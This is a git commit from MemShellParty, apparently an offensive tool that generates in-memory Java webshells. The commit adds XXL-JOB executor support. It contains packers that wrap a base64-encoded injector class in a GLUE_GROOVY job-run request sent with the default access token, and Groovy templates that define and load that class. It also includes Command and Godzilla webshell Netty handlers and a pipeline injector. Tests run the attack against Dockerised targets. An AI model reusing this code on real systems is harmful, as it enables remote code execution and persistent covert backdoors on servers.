mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
feat: support xxl-job executor NettyHandler (#30)
Only support jdk8, in jdk11 or jdk17 env, you should use file write and use urlClassLoader to load injectorClass or else.
This commit is contained in:
@@ -31,7 +31,7 @@ jobs:
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
middleware: [ "tomcat", "jetty", "jbossas", "jbosseap", "wildfly", "glassfish", "resin", "payara", "websphere", "springmvc", "weblogic", "springwebflux" ]
|
||||
middleware: [ "tomcat", "jetty", "jbossas", "jbosseap", "wildfly", "glassfish", "resin", "payara", "websphere", "springmvc", "weblogic", "springwebflux", xxljob ]
|
||||
runs-on: ubuntu-latest
|
||||
name: ${{ matrix.middleware }}
|
||||
needs: [ unit-test ]
|
||||
|
||||
@@ -60,12 +60,12 @@ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell reajason/memsh
|
||||
| FilterChain - Agent | | ContextValve - Agent | ContextValve - Agent |
|
||||
| ContextValve - Agent | | | |
|
||||
|
||||
| Resin(3 ~ 4) | SpringMVC | SpringWebFlux | Netty |
|
||||
|---------------------|--------------------------|-----------------|-------|
|
||||
| Servlet | Interceptor | WebFilter | x |
|
||||
| Filter | ControllerHandler | HandlerMethod | |
|
||||
| Listener | FrameworkServlet - Agent | HandlerFunction | |
|
||||
| FilterChain - Agent | | NettyHandler | |
|
||||
| Resin(3 ~ 4) | SpringMVC | SpringWebFlux | XXL-JOB |
|
||||
|---------------------|--------------------------|-----------------|--------------|
|
||||
| Servlet | Interceptor | WebFilter | NettyHandler |
|
||||
| Filter | ControllerHandler | HandlerMethod | |
|
||||
| Listener | FrameworkServlet - Agent | HandlerFunction | |
|
||||
| FilterChain - Agent | | NettyHandler | |
|
||||
|
||||
| JBossAS(4 ~ 7) | JBossEAP(6 ~ 7) | WildFly(9 ~ 30) | Undertow |
|
||||
|----------------------|----------------------------|------------------------|------------------------|
|
||||
|
||||
@@ -10,6 +10,7 @@ import org.springframework.boot.autoconfigure.SpringBootApplication;
|
||||
public class BootApplication {
|
||||
|
||||
public static void main(String[] args) {
|
||||
|
||||
SpringApplication.run(BootApplication.class, args);
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,30 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.memshell.springwebflux.command.CommandNettyHandler;
|
||||
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaNettyHandler;
|
||||
import com.reajason.javaweb.memshell.xxljob.injector.XxlJobNettyHandlerInjector;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/1/21
|
||||
*/
|
||||
public class XxlJobShell extends AbstractShell {
|
||||
public static final String NETTY_HANDLER = "NettyHandler";
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
|
||||
return Map.of(
|
||||
NETTY_HANDLER, Pair.of(CommandNettyHandler.class, XxlJobNettyHandlerInjector.class)
|
||||
);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
|
||||
return Map.of(
|
||||
NETTY_HANDLER, Pair.of(GodzillaNettyHandler.class, XxlJobNettyHandlerInjector.class)
|
||||
);
|
||||
}
|
||||
}
|
||||
@@ -1,7 +1,9 @@
|
||||
package com.reajason.javaweb.memshell.config;
|
||||
|
||||
import lombok.AllArgsConstructor;
|
||||
import lombok.Builder;
|
||||
import lombok.Data;
|
||||
import lombok.NoArgsConstructor;
|
||||
import org.apache.commons.codec.binary.Base64;
|
||||
|
||||
/**
|
||||
@@ -9,6 +11,8 @@ import org.apache.commons.codec.binary.Base64;
|
||||
* @since 2024/11/24
|
||||
*/
|
||||
@Data
|
||||
@NoArgsConstructor
|
||||
@AllArgsConstructor
|
||||
@Builder(builderClassName = "GenerateResultBuilder")
|
||||
public class GenerateResult {
|
||||
private String shellClassName;
|
||||
|
||||
@@ -81,6 +81,11 @@ public enum Server {
|
||||
* 中创中间件
|
||||
*/
|
||||
InforSuite(new InforSuiteShell()),
|
||||
|
||||
/**
|
||||
* XXL-JOB
|
||||
*/
|
||||
XXLJOB(new XxlJobShell())
|
||||
;
|
||||
|
||||
private final AbstractShell shell;
|
||||
|
||||
@@ -87,6 +87,10 @@ public interface Packer {
|
||||
|
||||
|
||||
AgentJar(new AgentJarPacker()),
|
||||
|
||||
XxlJob(new XxlJobPacker()),
|
||||
|
||||
XxlJob230(new XxlJob230Packer()),
|
||||
;
|
||||
private final Packer packer;
|
||||
|
||||
|
||||
@@ -0,0 +1,47 @@
|
||||
package com.reajason.javaweb.memshell.packer;
|
||||
|
||||
import com.alibaba.fastjson2.JSONObject;
|
||||
import com.alibaba.fastjson2.JSONWriter;
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import org.apache.commons.io.IOUtils;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.nio.charset.Charset;
|
||||
import java.util.Objects;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/1/21
|
||||
*/
|
||||
public class XxlJob230Packer implements Packer {
|
||||
String template = "";
|
||||
|
||||
public XxlJob230Packer() {
|
||||
try {
|
||||
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/XXL-Job-DefineClass-230.java")), Charset.defaultCharset());
|
||||
} catch (IOException ignored) {
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public String pack(GenerateResult generateResult) {
|
||||
String source = template
|
||||
.replace("{{base64Str}}", generateResult.getInjectorBytesBase64Str())
|
||||
.replace("{{className}}", generateResult.getInjectorClassName());
|
||||
JSONObject jsonObject = new JSONObject();
|
||||
jsonObject.put("jobId", 1);
|
||||
jsonObject.put("executorHandler", "demoJobHandler");
|
||||
jsonObject.put("executorParams", "demoJobHandler");
|
||||
jsonObject.put("executorBlockStrategy", "COVER_EARLY");
|
||||
jsonObject.put("executorTimeout", 0);
|
||||
jsonObject.put("logId", 1);
|
||||
jsonObject.put("logDateTime", System.currentTimeMillis());
|
||||
jsonObject.put("glueType", "GLUE_GROOVY");
|
||||
jsonObject.put("glueSource", source);
|
||||
jsonObject.put("glueUpdatetime", System.currentTimeMillis());
|
||||
jsonObject.put("broadcastIndex", 0);
|
||||
jsonObject.put("broadcastTotal", 0);
|
||||
return JSONObject.toJSONString(jsonObject, JSONWriter.Feature.PrettyFormat);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,47 @@
|
||||
package com.reajason.javaweb.memshell.packer;
|
||||
|
||||
import com.alibaba.fastjson2.JSONObject;
|
||||
import com.alibaba.fastjson2.JSONWriter;
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import org.apache.commons.io.IOUtils;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.nio.charset.Charset;
|
||||
import java.util.Objects;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/1/21
|
||||
*/
|
||||
public class XxlJobPacker implements Packer {
|
||||
String template = "";
|
||||
|
||||
public XxlJobPacker() {
|
||||
try {
|
||||
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/XXL-Job-DefineClass.java")), Charset.defaultCharset());
|
||||
} catch (IOException ignored) {
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public String pack(GenerateResult generateResult) {
|
||||
String source = template
|
||||
.replace("{{base64Str}}", generateResult.getInjectorBytesBase64Str())
|
||||
.replace("{{className}}", generateResult.getInjectorClassName());
|
||||
JSONObject jsonObject = new JSONObject();
|
||||
jsonObject.put("jobId", 1);
|
||||
jsonObject.put("executorHandler", "demoJobHandler");
|
||||
jsonObject.put("executorParams", "demoJobHandler");
|
||||
jsonObject.put("executorBlockStrategy", "COVER_EARLY");
|
||||
jsonObject.put("executorTimeout", 0);
|
||||
jsonObject.put("logId", 1);
|
||||
jsonObject.put("logDateTime", System.currentTimeMillis());
|
||||
jsonObject.put("glueType", "GLUE_GROOVY");
|
||||
jsonObject.put("glueSource", source);
|
||||
jsonObject.put("glueUpdatetime", System.currentTimeMillis());
|
||||
jsonObject.put("broadcastIndex", 0);
|
||||
jsonObject.put("broadcastTotal", 0);
|
||||
return JSONObject.toJSONString(jsonObject, JSONWriter.Feature.PrettyFormat);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,30 @@
|
||||
import com.xxl.job.core.handler.IJobHandler;
|
||||
|
||||
import java.util.Base64;
|
||||
|
||||
public class DemoGlueJobHandler extends IJobHandler {
|
||||
|
||||
public static class Definder extends ClassLoader {
|
||||
public Definder() {
|
||||
super(Thread.currentThread().getContextClassLoader());
|
||||
}
|
||||
|
||||
public Class<?> defineClass(byte[] bytes) {
|
||||
return defineClass(null, bytes, 0, bytes.length);
|
||||
}
|
||||
}
|
||||
|
||||
public void execute() throws Exception {
|
||||
String base64Str = "{{base64Str}}";
|
||||
String className = "{{className}}";
|
||||
try {
|
||||
Class.forName(className);
|
||||
} catch (ClassNotFoundException e) {
|
||||
try {
|
||||
new Definder().defineClass(Base64.getDecoder().decode(base64Str)).newInstance();
|
||||
} catch (Throwable ee) {
|
||||
ee.printStackTrace();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,42 @@
|
||||
import com.xxl.job.core.biz.model.ReturnT;
|
||||
import com.xxl.job.core.handler.IJobHandler;
|
||||
|
||||
public class DemoGlueJobHandler extends IJobHandler {
|
||||
|
||||
public static class Definder extends ClassLoader {
|
||||
public Definder() {
|
||||
super(Thread.currentThread().getContextClassLoader());
|
||||
}
|
||||
|
||||
public Class<?> defineClass(byte[] bytes) {
|
||||
return defineClass(null, bytes, 0, bytes.length);
|
||||
}
|
||||
}
|
||||
|
||||
public ReturnT<String> execute(String param) throws Exception {
|
||||
String base64Str = "{{base64Str}}";
|
||||
String className = "{{className}}";
|
||||
try {
|
||||
Class.forName(className);
|
||||
} catch (ClassNotFoundException e) {
|
||||
try {
|
||||
new Definder().defineClass(decodeBase64(base64Str)).newInstance();
|
||||
} catch (Throwable ee) {
|
||||
ee.printStackTrace();
|
||||
}
|
||||
}
|
||||
return ReturnT.SUCCESS;
|
||||
}
|
||||
|
||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -24,6 +24,7 @@ dependencies {
|
||||
testImplementation 'org.hamcrest:hamcrest:3.0'
|
||||
testImplementation 'com.squareup.okhttp3:okhttp:4.12.0'
|
||||
testImplementation 'org.slf4j:slf4j-simple:2.0.16'
|
||||
testImplementation 'com.alibaba.fastjson2:fastjson2:2.0.53'
|
||||
testImplementation 'net.bytebuddy:byte-buddy:1.15.1'
|
||||
testImplementation 'org.testcontainers:testcontainers:1.20.4'
|
||||
testImplementation 'org.testcontainers:junit-jupiter:1.20.4'
|
||||
@@ -52,6 +53,7 @@ tasks.withType(Test).configureEach {
|
||||
idea {
|
||||
module {
|
||||
excludeDirs -= file('build')
|
||||
excludeDirs += file('src/main')
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,17 @@
|
||||
services:
|
||||
admin:
|
||||
image: reajason/xxl-job:2.2.0-admin
|
||||
depends_on:
|
||||
- db
|
||||
ports:
|
||||
- "8080:8080"
|
||||
executor:
|
||||
image: reajason/xxl-job:2.2.0-executor
|
||||
depends_on:
|
||||
- admin
|
||||
ports:
|
||||
- "9999:9999"
|
||||
db:
|
||||
image: mysql:8
|
||||
environment:
|
||||
- MYSQL_ROOT_PASSWORD=root
|
||||
@@ -0,0 +1,17 @@
|
||||
services:
|
||||
admin:
|
||||
image: reajason/xxl-job:2.3.0-admin
|
||||
depends_on:
|
||||
- db
|
||||
ports:
|
||||
- "8080:8080"
|
||||
executor:
|
||||
image: reajason/xxl-job:2.3.0-executor
|
||||
depends_on:
|
||||
- admin
|
||||
ports:
|
||||
- "9999:9999"
|
||||
db:
|
||||
image: mysql:8
|
||||
environment:
|
||||
- MYSQL_ROOT_PASSWORD=root
|
||||
@@ -0,0 +1,17 @@
|
||||
services:
|
||||
admin:
|
||||
image: reajason/xxl-job:2.5.0-admin
|
||||
depends_on:
|
||||
- db
|
||||
ports:
|
||||
- "8080:8080"
|
||||
executor:
|
||||
image: reajason/xxl-job:2.5.0-executor
|
||||
depends_on:
|
||||
- admin
|
||||
ports:
|
||||
- "9999:9999"
|
||||
db:
|
||||
image: mysql:8
|
||||
environment:
|
||||
- MYSQL_ROOT_PASSWORD=root
|
||||
+5
-3
@@ -1,8 +1,8 @@
|
||||
package com.reajason.javaweb.integration;
|
||||
|
||||
import com.reajason.javaweb.GeneratorMain;
|
||||
import com.reajason.javaweb.memshell.SpringWebMvcShell;
|
||||
import com.reajason.javaweb.memshell.SpringWebFluxShell;
|
||||
import com.reajason.javaweb.memshell.SpringWebMvcShell;
|
||||
import com.reajason.javaweb.memshell.config.*;
|
||||
import com.reajason.javaweb.memshell.packer.JarPacker;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
@@ -46,7 +46,7 @@ public class ShellAssertionTool {
|
||||
shellUrl = url + urlPattern;
|
||||
}
|
||||
|
||||
GenerateResult generateResult = generate(url, urlPattern, server, shellType, shellTool, targetJdkVersion, packer);
|
||||
GenerateResult generateResult = generate(urlPattern, server, shellType, shellTool, targetJdkVersion, packer);
|
||||
|
||||
String content = null;
|
||||
if (packer.getPacker() instanceof JarPacker) {
|
||||
@@ -81,7 +81,7 @@ public class ShellAssertionTool {
|
||||
}
|
||||
}
|
||||
|
||||
public static GenerateResult generate(String url, String urlPattern, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packer.INSTANCE packer) {
|
||||
public static GenerateResult generate(String urlPattern, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packer.INSTANCE packer) {
|
||||
InjectorConfig injectorConfig = new InjectorConfig();
|
||||
if (StringUtils.isNotBlank(urlPattern)) {
|
||||
injectorConfig.setUrlPattern(urlPattern);
|
||||
@@ -143,6 +143,8 @@ public class ShellAssertionTool {
|
||||
case Velocity -> VulTool.postData(url + "/velocity", content);
|
||||
case Deserialize -> VulTool.postData(url + "/java_deserialize", content);
|
||||
case Base64 -> VulTool.postData(url + "/b64", content);
|
||||
case XxlJob -> VulTool.xxlJobExecutor(url + "/run", content);
|
||||
case XxlJob230 -> VulTool.xxlJobExecutor(url + "/run", content);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -5,6 +5,10 @@ import lombok.extern.slf4j.Slf4j;
|
||||
import okhttp3.*;
|
||||
import org.junit.jupiter.api.Assertions;
|
||||
|
||||
import java.io.IOException;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/30
|
||||
@@ -36,7 +40,7 @@ public class VulTool {
|
||||
.build();
|
||||
try (Response response = new OkHttpClient().newCall(request).execute()) {
|
||||
System.out.println(response.body().string());
|
||||
Assertions.assertEquals(200, response.code());
|
||||
assertEquals(200, response.code());
|
||||
}
|
||||
}
|
||||
|
||||
@@ -54,4 +58,25 @@ public class VulTool {
|
||||
Assertions.assertNotEquals(404, response.code());
|
||||
}
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
public static void xxlJobExecutor(String url, String data) {
|
||||
OkHttpClient client = new OkHttpClient();
|
||||
log.info(data);
|
||||
RequestBody body = RequestBody.create(data, MediaType.parse("application/json"));
|
||||
Request request = new Request.Builder()
|
||||
.url(url)
|
||||
.post(body)
|
||||
.addHeader("Connection", "close")
|
||||
.addHeader("XXL-JOB-ACCESS-TOKEN", "default_token")
|
||||
.addHeader("Content-Type", "application/json")
|
||||
.build();
|
||||
try (Response response = client.newCall(request).execute()) {
|
||||
assertEquals(200, response.code());
|
||||
Thread.sleep(1000); // wait for job execute
|
||||
log.info(response.body().string());
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+67
@@ -0,0 +1,67 @@
|
||||
package com.reajason.javaweb.integration.xxljob;
|
||||
|
||||
import com.reajason.javaweb.memshell.XxlJobShell;
|
||||
import com.reajason.javaweb.memshell.config.Server;
|
||||
import com.reajason.javaweb.memshell.config.ShellTool;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
import org.junit.jupiter.params.ParameterizedTest;
|
||||
import org.junit.jupiter.params.provider.Arguments;
|
||||
import org.junit.jupiter.params.provider.MethodSource;
|
||||
import org.testcontainers.containers.DockerComposeContainer;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.io.File;
|
||||
import java.util.stream.Stream;
|
||||
|
||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static org.junit.jupiter.params.provider.Arguments.arguments;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/1/22
|
||||
*/
|
||||
@Testcontainers
|
||||
@Slf4j
|
||||
public class XxlJob220ContainerTest {
|
||||
|
||||
public static final String imageName = "xxljob/xxljob220";
|
||||
|
||||
@Container
|
||||
public static final DockerComposeContainer<?> compose =
|
||||
new DockerComposeContainer<>(new File("docker-compose/xxl-job/docker-compose-220.yaml"))
|
||||
.withExposedService("executor", 9999);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
return Stream.of(
|
||||
arguments(imageName, XxlJobShell.NETTY_HANDLER, ShellTool.Command, Packer.INSTANCE.XxlJob),
|
||||
arguments(imageName, XxlJobShell.NETTY_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.XxlJob)
|
||||
);
|
||||
}
|
||||
|
||||
@AfterAll
|
||||
static void tearDown() {
|
||||
String logs = compose.getContainerByServiceName("executor").get().getLogs();
|
||||
log.info("container stopped, logs is : {}", logs);
|
||||
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||
}
|
||||
|
||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||
@MethodSource("casesProvider")
|
||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||
testShellInjectAssertOk(getUrl(), Server.XXLJOB, shellType, shellTool, Opcodes.V1_8, packer);
|
||||
}
|
||||
|
||||
public static String getUrl() {
|
||||
String host = compose.getServiceHost("executor", 9999);
|
||||
int port = compose.getServicePort("executor", 9999);
|
||||
String url = "http://" + host + ":" + port;
|
||||
log.info("container started, app url is : {}", url);
|
||||
return url;
|
||||
}
|
||||
}
|
||||
+67
@@ -0,0 +1,67 @@
|
||||
package com.reajason.javaweb.integration.xxljob;
|
||||
|
||||
import com.reajason.javaweb.memshell.XxlJobShell;
|
||||
import com.reajason.javaweb.memshell.config.Server;
|
||||
import com.reajason.javaweb.memshell.config.ShellTool;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
import org.junit.jupiter.params.ParameterizedTest;
|
||||
import org.junit.jupiter.params.provider.Arguments;
|
||||
import org.junit.jupiter.params.provider.MethodSource;
|
||||
import org.testcontainers.containers.DockerComposeContainer;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.io.File;
|
||||
import java.util.stream.Stream;
|
||||
|
||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static org.junit.jupiter.params.provider.Arguments.arguments;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/1/22
|
||||
*/
|
||||
@Testcontainers
|
||||
@Slf4j
|
||||
public class XxlJob230ContainerTest {
|
||||
|
||||
public static final String imageName = "xxljob/xxljob230";
|
||||
|
||||
@Container
|
||||
public static final DockerComposeContainer<?> compose =
|
||||
new DockerComposeContainer<>(new File("docker-compose/xxl-job/docker-compose-230.yaml"))
|
||||
.withExposedService("executor", 9999);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
return Stream.of(
|
||||
arguments(imageName, XxlJobShell.NETTY_HANDLER, ShellTool.Command, Packer.INSTANCE.XxlJob230),
|
||||
arguments(imageName, XxlJobShell.NETTY_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.XxlJob230)
|
||||
);
|
||||
}
|
||||
|
||||
@AfterAll
|
||||
static void tearDown() {
|
||||
String logs = compose.getContainerByServiceName("executor").get().getLogs();
|
||||
log.info("container stopped, logs is : {}", logs);
|
||||
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||
}
|
||||
|
||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||
@MethodSource("casesProvider")
|
||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||
testShellInjectAssertOk(getUrl(), Server.XXLJOB, shellType, shellTool, Opcodes.V1_8, packer);
|
||||
}
|
||||
|
||||
public static String getUrl() {
|
||||
String host = compose.getServiceHost("executor", 9999);
|
||||
int port = compose.getServicePort("executor", 9999);
|
||||
String url = "http://" + host + ":" + port;
|
||||
log.info("container started, app url is : {}", url);
|
||||
return url;
|
||||
}
|
||||
}
|
||||
+7
-2
@@ -22,8 +22,8 @@ public class CommandNettyHandler extends ChannelDuplexHandler {
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
|
||||
if (msg instanceof DefaultHttpRequest) {
|
||||
DefaultHttpRequest request = (DefaultHttpRequest) msg;
|
||||
if (msg instanceof HttpRequest) {
|
||||
HttpRequest request = (HttpRequest) msg;
|
||||
HttpHeaders headers = request.headers();
|
||||
String uri = request.uri();
|
||||
String cmd = getParameter(uri, paramName);
|
||||
@@ -44,12 +44,17 @@ public class CommandNettyHandler extends ChannelDuplexHandler {
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
send(ctx, result.toString());
|
||||
} else {
|
||||
ctx.fireChannelRead(msg);
|
||||
}
|
||||
}
|
||||
|
||||
public String getParameter(String requestUrl, String paramName) throws Exception {
|
||||
URI uri = new URI(requestUrl);
|
||||
String query = uri.getQuery();
|
||||
if (query == null) {
|
||||
return null;
|
||||
}
|
||||
String[] kvs = query.split("&");
|
||||
for (String kv : kvs) {
|
||||
String k = null;
|
||||
|
||||
+12
-9
@@ -18,6 +18,9 @@ import java.net.URLClassLoader;
|
||||
import java.net.URLDecoder;
|
||||
import java.nio.charset.StandardCharsets;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
@ChannelHandler.Sharable
|
||||
public class GodzillaNettyHandler extends ChannelDuplexHandler {
|
||||
public static String key;
|
||||
@@ -25,15 +28,15 @@ public class GodzillaNettyHandler extends ChannelDuplexHandler {
|
||||
public static String md5;
|
||||
public static String headerName;
|
||||
public static String headerValue;
|
||||
private StringBuilder requestBody = new StringBuilder();
|
||||
private DefaultHttpRequest request;
|
||||
private final StringBuilder requestBody = new StringBuilder();
|
||||
private HttpRequest request;
|
||||
private static Class<?> payload;
|
||||
|
||||
private static Class<?> defClass(byte[] classbytes) throws Exception {
|
||||
private static Class<?> defineClass(byte[] bytes) throws Exception {
|
||||
URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
|
||||
Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
method.setAccessible(true);
|
||||
return (Class<?>) method.invoke(urlClassLoader, classbytes, 0, classbytes.length);
|
||||
return (Class<?>) method.invoke(urlClassLoader, bytes, 0, bytes.length);
|
||||
}
|
||||
|
||||
public byte[] x(byte[] s, boolean m) {
|
||||
@@ -48,11 +51,11 @@ public class GodzillaNettyHandler extends ChannelDuplexHandler {
|
||||
|
||||
@Override
|
||||
public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
|
||||
if (msg instanceof DefaultHttpRequest) {
|
||||
request = (DefaultHttpRequest) msg;
|
||||
if (msg instanceof HttpRequest) {
|
||||
request = (HttpRequest) msg;
|
||||
HttpHeaders headers = request.headers();
|
||||
String value = headers.get(headerName);
|
||||
if (value == null || !value.equals(headerValue)) {
|
||||
if (value == null || !value.contains(headerValue)) {
|
||||
ctx.fireChannelRead(msg);
|
||||
return;
|
||||
}
|
||||
@@ -64,7 +67,7 @@ public class GodzillaNettyHandler extends ChannelDuplexHandler {
|
||||
String value = headers.get(headerName);
|
||||
|
||||
// quick fail,防止其他哥斯拉马打进来走这个逻辑寄了
|
||||
if (value == null || !value.equals(headerValue)) {
|
||||
if (value == null || !value.contains(headerValue)) {
|
||||
ctx.fireChannelRead(msg);
|
||||
return;
|
||||
}
|
||||
@@ -77,7 +80,7 @@ public class GodzillaNettyHandler extends ChannelDuplexHandler {
|
||||
requestBody.setLength(0);
|
||||
byte[] data = x(base64Decode(base64Str), false);
|
||||
if (payload == null) {
|
||||
payload = defClass(data);
|
||||
payload = defineClass(data);
|
||||
send(ctx, "");
|
||||
return;
|
||||
} else {
|
||||
|
||||
+15
-22
@@ -35,18 +35,14 @@ public class SpringWebFluxNettyHandlerInjector implements ChannelPipelineConfigu
|
||||
public SpringWebFluxNettyHandlerInjector() {
|
||||
try {
|
||||
Object nettyServer = getNettyServer();
|
||||
Object handler = getShell();
|
||||
inject(nettyServer, handler);
|
||||
handlerClass = getShellClass();
|
||||
inject(nettyServer);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
private Object handler;
|
||||
|
||||
public SpringWebFluxNettyHandlerInjector(Object handler) {
|
||||
this.handler = handler;
|
||||
}
|
||||
private Class<?> handlerClass;
|
||||
|
||||
public Object getNettyServer() throws Exception {
|
||||
ThreadGroup group = Thread.currentThread().getThreadGroup();
|
||||
@@ -61,29 +57,22 @@ public class SpringWebFluxNettyHandlerInjector implements ChannelPipelineConfigu
|
||||
return null;
|
||||
}
|
||||
|
||||
private Object getShell() throws Exception {
|
||||
private Class<?> getShellClass() throws Exception {
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
Object interceptor = null;
|
||||
try {
|
||||
interceptor = classLoader.loadClass(getClassName()).newInstance();
|
||||
return classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
interceptor = clazz.newInstance();
|
||||
return (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
}
|
||||
return interceptor;
|
||||
}
|
||||
|
||||
public void inject(Object nettyServer, Object handler) {
|
||||
try {
|
||||
Object config = getFieldValue(getFieldValue(nettyServer, "val$disposableServer"), "config");
|
||||
this.handler = handler;
|
||||
setFieldValue(config, "doOnChannelInit", this);
|
||||
System.out.println("netty handler injected successfully");
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
public void inject(Object nettyServer) throws Exception {
|
||||
Object config = getFieldValue(getFieldValue(nettyServer, "val$disposableServer"), "config");
|
||||
setFieldValue(config, "doOnChannelInit", this);
|
||||
System.out.println("netty handler injected successfully");
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
@@ -149,6 +138,10 @@ public class SpringWebFluxNettyHandlerInjector implements ChannelPipelineConfigu
|
||||
@Override
|
||||
public void onChannelInit(ConnectionObserver connectionObserver, Channel channel, SocketAddress remoteAddress) {
|
||||
ChannelPipeline pipeline = channel.pipeline();
|
||||
pipeline.addBefore("reactor.left.httpTrafficHandler", "memshell_handler", ((ChannelHandler) handler));
|
||||
try {
|
||||
pipeline.addBefore("reactor.left.httpTrafficHandler", "memshell_handler", ((ChannelHandler) handlerClass.newInstance()));
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+172
@@ -0,0 +1,172 @@
|
||||
package com.reajason.javaweb.memshell.xxljob.injector;
|
||||
|
||||
import com.xxl.job.core.biz.impl.ExecutorBizImpl;
|
||||
import com.xxl.job.core.server.EmbedServer;
|
||||
import io.netty.channel.ChannelHandler;
|
||||
import io.netty.channel.ChannelInitializer;
|
||||
import io.netty.channel.socket.SocketChannel;
|
||||
import io.netty.handler.codec.http.HttpObjectAggregator;
|
||||
import io.netty.handler.codec.http.HttpServerCodec;
|
||||
